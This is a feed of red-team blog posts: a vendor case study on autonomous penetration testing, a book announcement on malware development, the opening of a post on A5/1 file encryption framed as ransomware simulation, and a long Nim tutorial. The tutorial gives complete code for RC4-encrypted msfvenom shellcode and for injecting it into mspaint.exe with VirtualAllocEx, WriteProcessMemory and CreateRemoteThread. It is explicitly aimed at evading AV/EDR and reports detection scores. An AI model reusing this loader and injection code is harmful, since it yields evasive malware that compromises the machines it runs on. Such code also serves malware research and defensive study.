❌

Normal view

There are new articles available, click to refresh the page.
Today β€” 10 June 2024Pentest/Red Team

The Critical Role of Autonomous Penetration Testing in Strengthening Defense in Depth

10 June 2024 at 19:21

A Modern Approach to Comprehensive Cybersecurity

Defense in Depth (DID) is crucial in cybersecurity because it employs multiple layers of security controls and measures to protect information systems and data. This multi-layered approach helps ensure that if one defensive layer is breached, others continue to provide protection, significantly reducing the likelihood of a successful cyber-attack. By combining physical security, network security, endpoint protection, application security, data security, identity and access management, security policies, monitoring, backup and recovery, and redundancy, organizations can create a robust and resilient security posture that is adaptable to evolving threats. This comprehensive strategy is essential for safeguarding sensitive information, maintaining operational integrity, and complying with regulatory requirements.

However, DID is not a panacea. While it greatly enhances an organization’s security, it cannot guarantee absolute protection. The complexity and layered nature of DID can lead to challenges in management, maintenance, and coordination among different security measures. Additionally, sophisticated attackers continuously develop new methods to bypass multiple layers of defense, such as exploiting zero-day vulnerabilities or using social engineering techniques to gain access and exploit an environment. This highlights the importance of complementing DID with other strategies, such as regular security assessments, autonomous penetration testing, continuous monitoring, and fostering a security-aware culture within an organization. These additional measures help to identify and address emerging threats promptly, ensuring a more dynamic and proactive security approach.

Mission:

JTI Cybersecurity helps organizations around the world improve their security posture and address cybersecurity challenges. They work with small businesses, enterprises, and governments whose customers demand the highest levels of trust, security, and assurance in the protection of their sensitive data and mission-critical operations. JTI provides prudent advice and solutions when following best practices isn’t enough to protect the interests of their clients and the customers they serve.

  • Year Founded: 2020
  • Number of Employees: 5-10
  • Operational Reach: Global

Threat Intelligence

In November 2023, the prolific ransomware group LockBit confirmed a cyberattack on Boeing that impacted its parts and distribution business, as well as part of its global services division. The incident occurred following claims from LockBit that they had breached Boeing’s network and stolen sensitive data. Although Boeing confirmed that flight safety was not compromised, the LockBit group initially threatened to leak and expose the stolen sensitive data if Boeing did not negotiate. This incident not only underscores the persistent threats faced by major corporations but also highlights the importance of implementing robust cybersecurity measures.

Is the concept of DID dead?

In a recent interview with Jon Isaacson, Principal Consultant at JTI Cybersecurity, he highlights that, β€œsome marketing material goes as boldly as saying DID doesn’t work anymore.” However, Jon goes on to say that β€œDID is still a good strategy, and generally when it fails, it’s not because a layer of the onion failed…it’s because the term is overused, and the organization probably didn’t have any depth at all.” While this is a concept that’s been around for quite some time, its importance hasn’t diminished. In fact, as cyber threats evolve and become increasingly sophisticated, the need for a layered approach to security remains critical.

However, it’s also true that the term can sometimes be overused or misapplied, leading to a perception of it being outdated or ineffective. This can happen if organizations simply pay lip service to the idea of defense in depth without implementing meaningful measures at each layer or if they rely too heavily on traditional approaches without adapting to new threats and technologies.

In today’s rapidly changing threat landscape, organizations need to continually reassess and update their security strategies to ensure they’re effectively mitigating risks. This might involve integrating emerging technologies like autonomous pentesting, adopting a zero-trust security model, or implementing robust incident response capabilities alongside traditional defense in depth measures. While defense in depth may be considered a fundamental principle, its implementation and effectiveness depend on how well it’s adapted to meet the challenges of modern cybersecurity threats.

β€œWhile DID definitely helps shore up your defenses, without taking an attackers perspective by considering actual attack vectors that they can use to get in, you really can’t be ready.”

DID and the attacker’s perspective

In general, implementing a DID approach to an organization’s security posture helps slow down potential attacks and often challenges threat actors from easily exploiting an environment. Additionally, this forces attackers to use various tactics, techniques, and procedures (TTPs) to overcome DID strategies, and maneuver across layers to find weak points and exploit the path of least resistance. An attacker’s ability to adapt quickly, stay agile, and persist creates challenges for security teams attempting to stay ahead of threats and keep their cyber landscape secure.

As Jon explains, an β€œadversary is not going to be sitting where Tenable Security Center (for example) is installed with the credentials they have poking through the registry…that’s not how the adversary works…many organizations try to drive their vulnerability management programs in a compliance fashion, ticking off the boxes, doing their required scans, and remediating to a certain level…but that doesn’t tell you anything from an adversary’s perspective.” One of the only ways to see things from an attacker’s perspective is to attack your environment as an adversary would.

Enter NodeZeroβ„’

Before discovering NodeZero, Jon was working through the best way to build his company, while offering multiple services to his clients. He mentions that β€œwhen JTI first started, it was just him, bouncing back and forth between pentesting and doing a SOC2 engagement…early on, there weren’t a massive amount of pentests that had to be done and most were not huge…so doing a lot manually wasn’t a big deal.” However, with his business booming, Jon got to a point where doing a pentest 100% manually was just no longer a thing and he required a solution that was cost effective and that he could run continuously to scale his capabilities for his customers.

Additionally, Jon toyed with the idea of building custom scripts and having a solution automate them so at least some of the work was done for him, weighing his options between semi-automated or buying a solution. Jon first learned of Horizon3.ai through one of his customers, who was also exploring the use of an autonomous pentesting solution. So, after poking around a few competitors of Horizon3.ai that didn’t yield the results he was hoping for, he booked a trial.

NodeZero doesn’t miss anything

At the time, Jon was skeptical that any platform could outperform manual pentesting while supporting his need for logs and reporting. But, as he explains, β€œthere was nothing that [Node Zero] really missed [compared to his previous manual pentests] and there were cases where [NodeZero] would find something that was not found through manual testing.”

After initial trial testing, Jon dove headfirst when he was onboarded with Horizon3.ai and started using NodeZero for many of his pentesting engagements. Looking through the eyes of an attacker, β€œwe can drop NodeZero into an environment and let it do its thing…NodeZero not only enumerates the entire attack surface, but also finds vulnerabilities and attempts to exploit them as an attacker would.” This enables Jon to provide more value to his clients by digging into results to determine actual business impacts, provide specific recommendations for mitigations or remediations, and verify those fixes worked. β€œ[End users] can get a lot of value out of NodeZero even if they aren’t a security expert or pentester because you really can just click it, send it, and forget it…the best bang for their buck is the laundry list of things they [end users] can do to secure their environment every time they run it [NodeZero].”

β€œNodeZero is a really great tool for both consultants and pentesters…because for us pentesters, we can use it [NodeZero] kind of like the grunts or infantry of the military…just send it in to go blow everything up and then we [pentesters] can be a scalpel, and really dig into and spend time on the areas where things are potentially bad.”

So what?

DID is not dead and is a critical concept in cybersecurity, leveraging multiple layers of security controls to protect information systems and data. By integrating various security measures, organizations create a robust and resilient security posture. This layered approach ensures that if one defense layer is breached, others continue to provide protection, significantly reducing the likelihood of a successful cyber-attack.

However, DID is not a cure-all; it has its limitations. The complexity and layered nature can pose challenges in management and maintenance, and sophisticated attackers may still find ways to bypass defenses using advanced techniques like zero-day exploits or social engineering. Therefore, it’s essential to complement DID with autonomous penetration testing, continuous monitoring, and fostering a security-aware culture to address emerging threats proactively and dynamically.

Download PDF

The post The Critical Role of Autonomous Penetration Testing in Strengthening Defense in Depth appeared first on Horizon3.ai.

Before yesterdayPentest/Red Team

Malware and cryptography 28: RC4 payload encryption. Simple Nim example.

1 June 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

Many of my readers ask whether it is possible to write malware in a language other than C/C++/ASM.

When malware is found to be written in new programming languages, AV detections are often failing since the new language produces bytecode sequences that are relatively unknown, combined with strings of data that can throw off static-based heuristic models.

As an experiment, I decided to show how to write a simple malware example using Nim lang. The reason for this choice is the ease of the language and its flexibility for use in bypassing AV/EDR solutions.

For installation and intro you can read official documentation.

In one of my previous posts I used RC4 algorithm to encrypt the payload. Let’s create the same logic for Nim malware.

practical example 1

First of all, create RC4 algorithm logic. This is a simple algorithm and the code for its implementation in C++ looks like this:

// swap
void swap(unsigned char *a, unsigned char *b) {
  unsigned char tmp;
  tmp = *a;
  *a = *b;
  *b = tmp;
}

// key-scheduling algorithm (KSA)
void KSA(unsigned char *s, unsigned char *key, int keyL) {
  int k;
  int x, y = 0;

  // initialize
  for (k = 0; k < 256; k++) {
    s[k] = k;
  }

  for (x = 0; x < 256; x++) {
    y = (y + s[x] + key[x % keyL]) % 256;
    swap(&s[x], &s[y]);
  }
  return;
}

// pseudo-random generation algorithm (PRGA)
unsigned char* PRGA(unsigned char* s, unsigned int messageL) {
  int i = 0, j = 0;
  int k;

  unsigned char* keystream;
  keystream = (unsigned char *)malloc(sizeof(unsigned char)*messageL);
  for(k = 0; k < messageL; k++) {
    i = (i + 1) % 256;
    j = (j + s[i]) % 256;
    swap(&s[i], &s[j]);
    keystream[k] = s[(s[i] + s[j]) % 256];
	}
	return keystream;
}

// encryption and decryption
unsigned char* RC4(unsigned char *plaintext, unsigned char* ciphertext, unsigned char* key, unsigned int keyL, unsigned int messageL) {
  int i;
  unsigned char s[256];
  unsigned char* keystream;
  KSA(s, key, keyL);
  keystream = PRGA(s, messageL);

  for (i = 0; i < messageL; i++) {
    ciphertext[i] = plaintext[i] ^ keystream[i];
  }
  return ciphertext;
}

So, on Nim lang this logic looks like this:

import strutils
import sequtils
import system

proc swap(a: var byte, b: var byte) =
  let tmp = a
  a = b
  b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
  let keyL = len(key)
  var y = 0

  # initialize
  for k in 0 ..< 256:
    s[k] = byte(k)

  for x in 0 ..< 256:
    y = (y + int(s[x]) + int(key[x mod keyL])) mod 256
    swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
  var i = 0
  var j = 0
  result = newSeq[byte](messageL)

  for k in 0 ..< messageL:
    i = (i + 1) mod 256
    j = (j + int(s[i])) mod 256
    swap(s[i], s[j.byte])
    result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
  let messageL = len(plaintext)
  var s = newSeq[byte](256) 
  KSA(s, key)
  let keystream = PRGA(s, messageL)

  result = newSeq[byte](messageL)
  for i in 0 ..< messageL:
    result[i] = plaintext[i] xor keystream[i]

For checking corectness, add printing hex bytes of payload logic:

when isMainModule:
  let plaintext: seq[byte] = @[// payload here]
  let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

  let ciphertext = RC4(plaintext, key)
  var enchex: seq[string]
  for b in ciphertext:
    enchex.add("0x" & $toHex(b, 2))
  echo "payload encrypted:\n", enchex.join(", ")

  let decrypted = RC4(ciphertext, key)
  var decrhex: seq[string]
  for b in decrypted:
    decrhex.add("0x" & $toHex(b, 2))
  echo "original payload:\n", decrhex.join(", ")

How we can generate payload for nim language?

For this we can use msfvenom:

msfvenom -p windows/x64/messagebox TEXT='meow-meow!' TITLE='cat' -f csharp

cryptography

In our case little bit modify this brackets and variable:

let plaintext: seq[byte] = @[
byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,
0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,
0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x09,0x01,0x00,0x00,0x48,
0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,
0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6d,0x65,0x6f,
0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00,0x63,0x61,0x74,0x00
]

So the final full source code is look like this hack.nim:

import strutils
import sequtils
import system

proc swap(a: var byte, b: var byte) =
  let tmp = a
  a = b
  b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
  let keyL = len(key)
  var y = 0

  # initialize
  for k in 0 ..< 256:
    s[k] = byte(k)

  for x in 0 ..< 256:
    y = (y + int(s[x]) + int(key[x mod keyL])) mod 256
    swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
  var i = 0
  var j = 0
  result = newSeq[byte](messageL)

  for k in 0 ..< messageL:
    i = (i + 1) mod 256
    j = (j + int(s[i])) mod 256
    swap(s[i], s[j.byte])
    result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
  let messageL = len(plaintext)
  var s = newSeq[byte](256) 
  KSA(s, key)
  let keystream = PRGA(s, messageL)

  result = newSeq[byte](messageL)
  for i in 0 ..< messageL:
    result[i] = plaintext[i] xor keystream[i]

when isMainModule:
  let plaintext: seq[byte] = @[
    byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,
    0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
    0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
    0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,
    0x50,0x3e,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,
    0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,
    0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,0x48,0x8b,0x52,
    0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
    0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,
    0x3e,0x8b,0x48,0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,
    0xe3,0x5c,0x48,0xff,0xc9,0x3e,0x41,0x8b,0x34,0x88,0x48,0x01,
    0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,
    0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
    0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,
    0x49,0x01,0xd0,0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,
    0x40,0x1c,0x49,0x01,0xd0,0x3e,0x41,0x8b,0x04,0x88,0x48,0x01,
    0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
    0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
    0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,
    0x49,0xc7,0xc1,0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,
    0x00,0x00,0x00,0x3e,0x4c,0x8d,0x85,0x09,0x01,0x00,0x00,0x48,
    0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,0xd5,0x48,0x31,
    0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x6d,0x65,0x6f,
    0x77,0x2d,0x6d,0x65,0x6f,0x77,0x21,0x00,0x63,0x61,0x74,0x00
    ]
  let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

  let ciphertext = RC4(plaintext, key)
  var enchex: seq[string]
  for b in ciphertext:
    enchex.add("0x" & $toHex(b, 2))
  echo "payload encrypted:\n", enchex.join(", ")

  let decrypted = RC4(ciphertext, key)
  var decrhex: seq[string]
  for b in decrypted:
    decrhex.add("0x" & $toHex(b, 2))
  echo "original payload:\n", decrhex.join(", ")

demo 1

Let’s check it in action. Compile it:

nim c -d:mingw --cpu:amd64 hack.nim

cryptography

Then, just move it to the victim’s machine (Windows 11 in my case) and run:

.\hack.exe

cryptography

For checking correctness of RC4 encryption/decryption you also can use simple C code.

practical example 2

Let’s update our code from example 1: add simple process injection logic.

For process injection, let’s create process first:

import osproc
import winim

let process = startProcess("mspaint.exe")
echo "started  process: ", process.processID

Then, add process injection logic via VirtualAllocEx, WriteProcessMemory and CreateRemoteThread:

let ph = winim.OpenProcess(
    PROCESS_ALL_ACCESS,
    false,
    cast[DWORD](process.processID)
)

when isMainModule:
    let mem = VirtualAllocEx(
        ph,
        NULL,
        cast[SIZE_T](plaintext.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )
    var btw: SIZE_T
    let wp = WriteProcessMemory(
        ph,
        mem,
        unsafeAddr payload[0],
        cast[SIZE_T](plaintext.len),
        addr btw
    )
    echo "writeprocessmemory: ", bool(wp)
    let th = CreateRemoteThread(
        ph,
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](mem),
        NULL,
        0,
        NULL
    )
    echo "successfully inject to process: ", process.processID
    echo "thread Handle: ", th

The only difference, we are using encrypted payload from example 1:

let plaintext: seq[byte] = @[
byte 0x61, 0x03, 0xDF, 0x4C, 0xE0, 0x8E, 0xFF, 0x5F, 0xB2, 0x7F, 0x28, 0x22, 0xE9,
0x3B, 0x1A, 0x09, 0xB6, 0x66, 0x78, 0xCD, 0xAD, 0x67, 0xE1, 0x18, 0x82, 0x91,
0x83, 0x1C, 0xE9, 0x9D, 0x09, 0x80, 0xFB, 0x0F, 0xD7, 0x3A, 0x06, 0xB2, 0xF2, 
0x6B, 0x0C, 0xA4, 0x93, 0x29, 0xBE, 0x3D, 0x73, 0x78, 0xEE, 0xD5, 0x6B, 0xB7, 
0xB5, 0x5B, 0x98, 0xF0, 0x8E, 0x61, 0xD3, 0x3F, 0x2B, 0xEB, 0x06, 0xA2, 0x9B, 
0xE5, 0xDA, 0xED, 0x0C, 0xF1, 0xF4, 0x64, 0x82, 0x8B, 0x96, 0xD0, 0x71, 0x9A, 
0xCB, 0x59, 0x41, 0x7C, 0x52, 0x06, 0x4D, 0xC7, 0x00, 0xEC, 0x80, 0xDD, 0xDF, 
0x37, 0x4D, 0x3C, 0x25, 0x82, 0xB4, 0x37, 0xE6, 0x25, 0x75, 0xDC, 0xBE, 0xF0, 
0x1E, 0xD1, 0x1A, 0xDE, 0x2D, 0xB8, 0xA2, 0xA1, 0x6B, 0x7D, 0x0F, 0xC0, 0xC0, 
0x66, 0x4A, 0x9E, 0x9A, 0x9A, 0x93, 0x6B, 0xA4, 0x63, 0x51, 0xA0, 0x91, 0xB0, 
0x99, 0x21, 0xDC, 0xDB, 0x41, 0xF7, 0xCC, 0xB8, 0xD5, 0x4B, 0xFF, 0xA2, 0x58, 
0xA8, 0xEF, 0xE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, 0x5F, 0x9C, 
0x8F, 0xF2, 0xC7, 0x19, 0xA5, 0x07, 0x3E, 0x1C, 0x70, 0x6E, 0x80, 0xDA, 0x23, 
0x37, 0x51, 0x98, 0x7D, 0xBE, 0x55, 0xF9, 0x56, 0x52, 0x0E, 0x48, 0x40, 0x2D, 
0x9A, 0xD3, 0x0F, 0xB8, 0x92, 0x62, 0xE7, 0x5C, 0x0A, 0x2E, 0xFE, 0xF8, 0x96, 
0x8E, 0x10, 0x6A, 0x04, 0x0B, 0xDD, 0x24, 0xCB, 0x18, 0x20, 0x9E, 0x23, 0x9A, 
0x57, 0xC1, 0x38, 0xC0, 0xD7, 0x0A, 0x57, 0x3E, 0x80, 0x75, 0x9B, 0x79, 0x59, 
0xB6, 0x31, 0xE4, 0x3E, 0xBA, 0xBB, 0x1E, 0x91, 0xC5, 0x10, 0xA0, 0x63, 0x6B, 
0x99, 0x9F, 0x61, 0x6C, 0xB5, 0x1A, 0x09, 0x61, 0xFD, 0x21, 0xCC, 0x64, 0xC4, 
0x9C, 0xCA, 0x15, 0xA1, 0x3B, 0x62, 0x44, 0x5B, 0x34, 0xDC, 0x06, 0xEB, 0x8F, 
0xB1, 0x50, 0x7B, 0x1C, 0x77, 0xC7, 0x8B, 0x24, 0x34, 0x5E, 0xC4, 0x02, 0x00, 
0x3F, 0x1D, 0x05, 0x2E, 0x18, 0xC5, 0xEA, 0x6D, 0x6F
]
let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]
let payload = RC4(plaintext, key)

As you can see, we are decrypt it via RC4.

The final full source code for example 2 is looks like this (hack2.nim):

import strutils
import sequtils
import system
import osproc
import winim

proc swap(a: var byte, b: var byte) =
  let tmp = a
  a = b
  b = tmp

proc KSA(s: var seq[byte], key: seq[byte]) =
  let keyL = len(key)
  var y = 0

  # initialize
  for k in 0 ..< 256:
    s[k] = byte(k)

  for x in 0 ..< 256:
    y = (y + int(s[x]) + int(key[x mod keyL])) mod 256
    swap(s[x], s[y.byte])

proc PRGA(s: var seq[byte], messageL: int): seq[byte] =
  var i = 0
  var j = 0
  result = newSeq[byte](messageL)

  for k in 0 ..< messageL:
    i = (i + 1) mod 256
    j = (j + int(s[i])) mod 256
    swap(s[i], s[j.byte])
    result[k] = s[(int(s[i]) + int(s[j])) mod 256]

proc RC4(plaintext: seq[byte], key: seq[byte]): seq[byte] =
  let messageL = len(plaintext)
  var s = newSeq[byte](256) 
  KSA(s, key)
  let keystream = PRGA(s, messageL)

  result = newSeq[byte](messageL)
  for i in 0 ..< messageL:
    result[i] = plaintext[i] xor keystream[i]

when isMainModule:
  let plaintext: seq[byte] = @[
    byte 0x61, 0x03, 0xDF, 0x4C, 0xE0, 0x8E, 0xFF, 0x5F, 0xB2, 0x7F, 0x28, 0x22, 0xE9,
    0x3B, 0x1A, 0x09, 0xB6, 0x66, 0x78, 0xCD, 0xAD, 0x67, 0xE1, 0x18, 0x82, 0x91,
    0x83, 0x1C, 0xE9, 0x9D, 0x09, 0x80, 0xFB, 0x0F, 0xD7, 0x3A, 0x06, 0xB2, 0xF2, 
    0x6B, 0x0C, 0xA4, 0x93, 0x29, 0xBE, 0x3D, 0x73, 0x78, 0xEE, 0xD5, 0x6B, 0xB7, 
    0xB5, 0x5B, 0x98, 0xF0, 0x8E, 0x61, 0xD3, 0x3F, 0x2B, 0xEB, 0x06, 0xA2, 0x9B, 
    0xE5, 0xDA, 0xED, 0x0C, 0xF1, 0xF4, 0x64, 0x82, 0x8B, 0x96, 0xD0, 0x71, 0x9A, 
    0xCB, 0x59, 0x41, 0x7C, 0x52, 0x06, 0x4D, 0xC7, 0x00, 0xEC, 0x80, 0xDD, 0xDF, 
    0x37, 0x4D, 0x3C, 0x25, 0x82, 0xB4, 0x37, 0xE6, 0x25, 0x75, 0xDC, 0xBE, 0xF0, 
    0x1E, 0xD1, 0x1A, 0xDE, 0x2D, 0xB8, 0xA2, 0xA1, 0x6B, 0x7D, 0x0F, 0xC0, 0xC0, 
    0x66, 0x4A, 0x9E, 0x9A, 0x9A, 0x93, 0x6B, 0xA4, 0x63, 0x51, 0xA0, 0x91, 0xB0, 
    0x99, 0x21, 0xDC, 0xDB, 0x41, 0xF7, 0xCC, 0xB8, 0xD5, 0x4B, 0xFF, 0xA2, 0x58, 
    0xA8, 0xEF, 0xE3, 0x90, 0x50, 0x3C, 0x03, 0x30, 0x42, 0x3C, 0x1B, 0x5F, 0x9C, 
    0x8F, 0xF2, 0xC7, 0x19, 0xA5, 0x07, 0x3E, 0x1C, 0x70, 0x6E, 0x80, 0xDA, 0x23, 
    0x37, 0x51, 0x98, 0x7D, 0xBE, 0x55, 0xF9, 0x56, 0x52, 0x0E, 0x48, 0x40, 0x2D, 
    0x9A, 0xD3, 0x0F, 0xB8, 0x92, 0x62, 0xE7, 0x5C, 0x0A, 0x2E, 0xFE, 0xF8, 0x96, 
    0x8E, 0x10, 0x6A, 0x04, 0x0B, 0xDD, 0x24, 0xCB, 0x18, 0x20, 0x9E, 0x23, 0x9A, 
    0x57, 0xC1, 0x38, 0xC0, 0xD7, 0x0A, 0x57, 0x3E, 0x80, 0x75, 0x9B, 0x79, 0x59, 
    0xB6, 0x31, 0xE4, 0x3E, 0xBA, 0xBB, 0x1E, 0x91, 0xC5, 0x10, 0xA0, 0x63, 0x6B, 
    0x99, 0x9F, 0x61, 0x6C, 0xB5, 0x1A, 0x09, 0x61, 0xFD, 0x21, 0xCC, 0x64, 0xC4, 
    0x9C, 0xCA, 0x15, 0xA1, 0x3B, 0x62, 0x44, 0x5B, 0x34, 0xDC, 0x06, 0xEB, 0x8F, 
    0xB1, 0x50, 0x7B, 0x1C, 0x77, 0xC7, 0x8B, 0x24, 0x34, 0x5E, 0xC4, 0x02, 0x00, 
    0x3F, 0x1D, 0x05, 0x2E, 0x18, 0xC5, 0xEA, 0x6D, 0x6F
    ]
  let key: seq[byte] = @[0x6d, 0x65, 0x6f, 0x77, 0x6d, 0x65, 0x6f, 0x77]

  let payload = RC4(plaintext, key)

  let process = startProcess("mspaint.exe")
  echo "started  process: ", process.processID

  let ph = winim.OpenProcess(
    PROCESS_ALL_ACCESS,
    false,
    cast[DWORD](process.processID)
  )

when isMainModule:
    let mem = VirtualAllocEx(
        ph,
        NULL,
        cast[SIZE_T](plaintext.len),
        MEM_COMMIT,
        PAGE_EXECUTE_READ_WRITE
    )
    var btw: SIZE_T
    let wp = WriteProcessMemory(
        ph,
        mem,
        unsafeAddr payload[0],
        cast[SIZE_T](plaintext.len),
        addr btw
    )
    echo "writeprocessmemory: ", bool(wp)
    let th = CreateRemoteThread(
        ph,
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](mem),
        NULL,
        0,
        NULL
    )
    echo "successfully inject to process: ", process.processID
    echo "thread Handle: ", th

demo 2

Compile practical example 2:

nim c -d:mingw --cpu:amd64 hack2.nim

cryptography

And run new file on Windows 11:

.\hack2.exe

cryptography

cryptography

To verify our payload is indeed injected into mspaint.exe process we can use Process Hacker 2, in memory section we can see:

cryptography

So, it seems our simple injection logic worked!

Upload this sample to https://websec.nl/en/scanner:

cryptography

https://websec.nl/en/scanner/result/b1497b7b-af49-48f7-870e-2d612ecd1ad3

As you can see, 4 of 40 AV engines detect our file as malicious.

Note that Microsoft Defender detect it as VirTool:Win32/Meterpreter:

cryptography

I hope this post is useful for malware researchers, C/C++ programmers and offensive security professionals.

RC4
Malware AV/VM evasion part 9
https://websec.nl/en/scanner
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware Development For Ethical Hackers. First edition

20 May 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

book

Alhamdulillah, I’m pleased to announce that my book Malware Development For Ethical Hackers is available for pre-order on Amazon.

I dedicate this book to my wife, Laura, my son, Yerzhan, and my little princess, Munira, and I thank them for their inspiration, support, and patience.

I know that many of my readers have been waiting for this book for a long time, and many of us understand that perhaps I could not give comprehensive and exhaustive information on how to develop malware, but I am trying to my best for sharing my knowledge with community.

book

If you want to learn more about any area of science or technology, you will have to do your own research and work. There isn’t a single book that will answer all of your questions about the things that interest you.

I would be glad to receive feedback and am ready for dialogue. There will be many posts about the book in the near future as it is about to be published.

I thank the entire team at Packt without whom this book would look different.

I also want to thank all the employees of the Butterfly Effect Company and MSSP Research Lab.

I will be very happy if this book helps at least one person to gain knowledge and learn the science of cybersecurity. The book is mostly practice oriented.

Malware Development For Ethical Hackers
Twitter post
Linkedin post

All examples are practical cases for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

Malware and cryptography 27: encrypt/decrypt files via A5/1. Simple C/C++ example.

12 May 2024 at 01:00

ο·½

Hello, cybersecurity enthusiasts and white hackers!

cryptography

In one of the previous posts I wrote about the A5/1 GSM encryption algorithm and how it affected the VirusTotal detection score.

At the moment of my current research on ransomware simulation, I decided to show file encryption and decryption logic using the A5/1 algorithm.

practical example

First of all, our encryption and decryption functions are the same:

void a5_1_encrypt(unsigned char *key, int key_len, unsigned char *msg, int msg_len, unsigned char *out) {
  // initialization
  unsigned int R1 = 0, R2 = 0, R3 = 0;
  for (int i = 0; i < 64; i++) {
    int feedback = ((key[i % key_len] >> (i / 8)) & 1) ^ ((R1 >> 18) & 1) ^ ((R2 >> 21) & 1) ^ ((R3 >> 22) & 1);
    R1 = (R1 << 1) | feedback;
    R2 = (R2 << 1) | ((R1 >> 8) & 1);
    R3 = (R3 << 1) | ((R2 >> 10) & 1);
  }
  // encryption
  for (int i = 0; i < msg_len; i++) {
    int feedback = A5_STEP((R1 >> 8) & 1, (R2 >> 10) & 1, (R3 >> 10) & 1);
    unsigned char key_byte = 0;
    for (int j = 0; j < 8; j++) {
      int bit = A5_STEP((R1 >> 18) & 1, (R2 >> 21) & 1, (R3 >> 22) & 1) ^ feedback;
      key_byte |= bit << j;
      R1 = (R1 << 1) | bit;
      R2 = (R2 << 1) | ((R1 >> 8) & 1);
      R3 = (R3 << 1) | ((R2 >> 10) & 1);
    }
    out[i] = msg[i] ^ key_byte;
  }
}

